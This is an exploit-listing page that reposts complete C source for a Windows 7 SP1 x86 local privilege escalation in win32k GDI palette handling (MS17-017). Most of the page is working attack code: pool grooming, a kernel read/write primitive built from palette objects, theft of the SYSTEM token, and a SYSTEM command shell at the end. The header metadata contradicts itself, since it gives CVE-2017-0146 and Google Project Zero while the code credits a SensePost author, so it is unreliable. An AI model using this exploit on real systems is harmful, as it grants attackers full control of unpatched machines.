Microsoft Windows 7 SP1 x86 GDI Palette Objects Local Privilege Escalation (MS17-017)
CVE
Category
Price
Severity
CVE-2017-0146
CWE-264
$25,000
High
Author
Risk
Exploitation Type
Date
Google Project Zero
High
Local
2017-08-08
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017080047 Below is a copy:
Microsoft Windows 7 SP1 x86 GDI Palette Objects Local Privilege Escalation (MS17-017) #include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <Psapi.h>
//From http://stackoverflow.com/a/26414236 this defines the details of the NtAllocateVirtualMemory function
//which we will use to map the NULL page in user space.
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
static HBITMAP bitmaps[2000];
static HPALETTE hp[2000];
HANDLE hpWorker, hpManager, hManager;
BYTE *bits;
// https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;
//VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; //win 7 SP 1
VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };
void SetAddress(UINT* address) {
SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}
void WriteToAddress(UINT* data, DWORD len) {
SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}
UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
SetAddress((UINT *)&src);
DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);
return res;
}
// Get base of ntoskrnl.exe
UINT GetNTOsBase()
{
UINT Bases[0x1000];
DWORD needed = 0;
UINT krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
UINT PsInitialSystemProcess()
{
// load ntoskrnl.exe
UINT ntos = (UINT)LoadLibrary("ntkrnlpa.exe");
// get address of exported PsInitialSystemProcess variable
UINT addr = (UINT)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
UINT res = 0;
UINT ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (UINT *)&res, sizeof(UINT) / sizeof(PALETTEENTRY));//0x169114
}
return res;
}
// Get EPROCESS for current process
UINT PsGetCurrentProcess()
{
UINT pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
UINT res = 0;
while (TRUE) {
UINT UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (UINT *)&UniqueProcessId, sizeof(UINT) / sizeof(PALETTEENTRY));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT))
break;
}
return res;
}
void fengshui() {
HBITMAP bmp;
// we need 2 object 0x7F4
for (int y = 0; y < 2000; y++) {
//0x3A3 = 0xFe8
bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
bitmaps[y] = bmp;
}
//Spray LpszMenuName User object in GDI pool. Ustx
// size 0x10+8
TCHAR st[0x32];
for (int s = 0; s < 2000; s++) {
WNDCLASSEX Class2 = { 0 };
wsprintf(st, "Class%d", s);
Class2.lpfnWndProc = DefWindowProc;
Class2.lpszClassName = st;
Class2.lpszMenuName = "Saif";
Class2.cbSize = sizeof(WNDCLASSEX);
if (!RegisterClassEx(&Class2)) {
printf("bad %d %d\r\n", s, GetLastError());
break;
}
}
for (int s = 0; s < 2000; s++) {
DeleteObject(bitmaps[s]);
}
for (int k = 0; k < 2000; k++) {
//0x1A6 = 0x7f0+8
bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
bitmaps[k] = bmp;
}
HPALETTE hps;
LOGPALETTE *lPalette;
//0x1E3 = 0x7e8+8
lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lPalette->palNumEntries = 0x1E3;
lPalette->palVersion = 0x0300;
// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
for (int k = 0; k < 2000; k++) {
hps = CreatePalette(lPalette);
if (!hps) {
printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
//return;
}
hp[k] = hps;
}
TCHAR fst[0x32];
for (int f = 500; f < 750; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}
}
UINT GetAddress(BYTE *buf, UINT offset) {
BYTE bytes[4];
for (int i = 0; i < 4; i++) {
bytes[i] = buf[offset + i];
}
UINT addr = *(UINT *)bytes;
return addr;
}
int main(int argc, char *argv[]) {
HWND hwnd;
WNDCLASSEX Class = { 0 };
Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
Class.cbSize = sizeof(WNDCLASSEX);
printf(" __ ________________ ____ ________\r\n");
printf(" / |/ / ___< /__ / / __ < /__ /\r\n");
printf(" / /|_/ /\__ \/ / / /_____/ / / / / / / \r\n");
printf(" / / / /___/ / / / /_____/ /_/ / / / / \r\n");
printf("/_/ /_//____/_/ /_/ \____/_/ /_/ \r\n");
printf("\r\n");
printf(" [*] By Saif (at) SensePost \r\n");
printf(" Twitter: Saif_Sherei\r\n");
printf("\r\n");
printf("\r\n");
if (!RegisterClassEx(&Class)) {
printf("%s\r\n", "RegisterClass - Failed");
return 1;
}
hwnd = CreateWindowEx(NULL, "Class", "Test1", WS_VISIBLE, 0x5a1f, 0x5a1f, 0x5a1f, 0x5a1f, NULL, NULL, 0, NULL);
HDC hdc = GetDC(hwnd);
//0x10 is the magic number
printf("[*] Creating Pattern Brush Bitmap.\r\n");
HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL);
//HBITMAP bitmap = CreateBitmap(0x5aa, 0x11f, 1, 1, NULL);
if (!bitmap) {
printf("%s - %d\r\n", "CreateBitmap Failed.\r\n", GetLastError());
return 1;
}
//https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysNullPointerExploit/HackSysNullPointerExploit/HackSysNullPointerExploit.cpp
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
//Get address of NtAllocateVirtualMemory from the dynamically linked library and then cast it to a callable function type
FARPROC tmp = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)tmp;
//We can't outright pass NULL as the address but if we pass 1 then it gets rounded down to 0...
//PVOID baseAddress = (PVOID)0x1;
PVOID baseAddress = (PVOID)0x1;
SIZE_T regionSize = 0xFF; //Probably enough, it will get rounded up to the next page size
// Map the null page
NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(), //Current process handle
&baseAddress, //address we want our memory to start at, will get rounded down to the nearest page boundary
0, //The number of high-order address bits that must be zero in the base address of the section view. Not a clue here
®ionSize, //Required size - will be modified to actual size allocated, is rounded up to the next page boundary
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, //claim memory straight away, get highest appropriate address
PAGE_EXECUTE_READWRITE //All permissions
);
if (ntStatus != 0) {
printf("Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
FreeLibrary(hNtdll);
return 1;
}
PVOID nullPointer = (PVOID)((UINT)0x4);
*(PUINT)nullPointer = (UINT)1;
//
printf("[*] Creating Pattern Brush.\r\n");
HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);
SelectObject(hdc, hbrBkgnd);
fengshui();
printf("[*] Triggering Overflow in Win32k!EngRealizeBrush.\r\n");
//__debugbreak();
PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);
HRESULT res;
bits = (BYTE*)malloc(0x6F8);
for (int i = 0; i < 2000; i++) {
res = GetBitmapBits(bitmaps[i], 0x6F8, bits);
if (res > 0x6F8 - 1) {
hManager = bitmaps[i];
printf("[*] Manager Bitmap: %d\r\n", i);
break;
}
}
//__debugbreak();
//Get pFirstColor of adjacent Gh?8 XEPALOBJ Palette object
UINT pFirstColor = GetAddress(bits, 0x6F8 - 8);
printf("[*] Original Current Manager XEPALOBJ->pFirstColor: 0x%x\r\n", pFirstColor);
UINT cEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
printf("[*] Original Manager XEPALOBJ->cEntries: 0x%x\r\n", cEntries);
//BYTE *bytes = (BYTE*)&cEntries;
for (int y = 0; y < 4; y++) {
bits[0x6F8 - 8 - 0x38 + y] = 0xFF;
}
//__debugbreak();
SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
//__debugbreak();
res = GetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
UINT uEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
printf("[*] Updated Manager XEPALOBJ->cEntries: 0x%x\r\n", uEntries);
UINT *rPalette;
rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));
memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));
for (int k = 0; k < 2000; k++) {
UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);
if (res > 0x3BB) {
printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]);
hpManager = hp[k];
break;
}
}
//__debugbreak();
//for (int y = 0x3F0; y < 0x400; y++) {
//printf("%04x ", rPalette[y]);
//}
//printf("\r\n");
UINT wAddress = rPalette[0x3FE];
printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);
UINT tHeader = pFirstColor - 0x1000;
tHeader = tHeader & 0xFFFFF000;
printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);
//__debugbreak();
SetAddress(&tHeader);
//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);
UINT upAddress;
GetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (LPPALETTEENTRY)&upAddress);
printf("[*] Updated Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", upAddress);
UINT wBuffer[2];
for (int x = 0; x < 2000; x++) {
GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer);
//Debug
//if (wBuffer != 0xcdcdcdcd) {
// Release
//if (wBuffer[1] == 0x35316847) {
if (wBuffer[1] >> 24 == 0x35) {
hpWorker = hp[x];
printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker);
printf("[*] wBuffer: %x\r\n", wBuffer[1]);
break;
}
}
UINT gHeader[8];
//gHeader = (UINT*)malloc((0x4 - 1) * sizeof(PALETTEENTRY));
//GetPaletteEntries((HPALETTE)hpWorker, 0, 4, (LPPALETTEENTRY)gHeader);
ReadFromAddress(tHeader, gHeader, 8);
//__debugbreak();
UINT oHeader = pFirstColor & 0xFFFFF000;
printf("[*] Overflowed Gh05 Address: 0x%04x.\r\n", oHeader);
UINT oValue = oHeader + 0x1C;
//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oValue);
UINT value;
//GetPaletteEntries((HPALETTE)hpWorker, 0, 1, (LPPALETTEENTRY)&value);
//printf("[*] Value: 0x%04x.\r\n", value);
ReadFromAddress(oValue, &value, 1);
//printf("[*] Gh05 Object Header:\r\n");
//printf(" %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
//printf(" %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);
//SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oHeader);
gHeader[2] = value;
gHeader[3] = 0;
gHeader[7] = value;
//SetPaletteEntries((HPALETTE)hpWorker, 0, 4, (PALETTEENTRY*)gHeader);
UINT oHeaderdata[8];
ReadFromAddress(oHeader, oHeaderdata, 8);
printf("[*] Gh05 Overflowed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[0], oHeaderdata[1], oHeaderdata[2], oHeaderdata[3]);
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[4], oHeaderdata[5], oHeaderdata[6], oHeaderdata[7]);
printf("[*] Gh05 Fixed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
printf(" %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);
SetAddress(&oHeader);
//__debugbreak();
WriteToAddress(gHeader, 8);
printf("[*] Fixed Overflowed Gh05 Object Header.\r\n");
//UINT uHeader[8];
//ReadFromAddress(oHeader, uHeader, 8);
//printf("[*] Gh05 Overflowed Fixed Object Header:\r\n");
//printf(" %04x %04x %04x %04x\r\n", uHeader[0], uHeader[1], uHeader[2], uHeader[3]);
//printf(" %04x %04x %04x %04x\r\n", uHeader[4], uHeader[5], uHeader[6], uHeader[7]);
// get System EPROCESS
UINT SystemEPROCESS = PsInitialSystemProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
UINT CurrentEPROCESS = PsGetCurrentProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
UINT SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);
fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken);
// write token to current process
UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress(&CurProccessAddr);
WriteToAddress(&SystemToken, 1);
//__debugbreak();
printf("[*] Dropping in SYSTEM shell...\r\n\r\n");
// Done and done. We're System :)
system("cmd.exe");
//getchar();
for (int f = 0; f < 2000; f++) {
DeleteObject(bitmaps[f]);
}
for (int f = 0; f < 2000; f++) {
DeleteObject(hp[f]);
}
TCHAR fst[0x32];
for (int f = 0; f < 500; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}
for (int f = 751; f < 2000; f++) {
wsprintf(fst, "Class%d", f);
UnregisterClass(fst, NULL);
}
ReleaseDC(hwnd, hdc);
DeleteDC(hdc);
DeleteObject(hbrBkgnd);
DeleteObject(bitmap);
FreeLibrary(hNtdll);
//free(bitmaps);
//VirtualFree(&baseAddress, regionSize, MEM_RELEASE);
//DestroyWindow(hwnd);
return 0;
}
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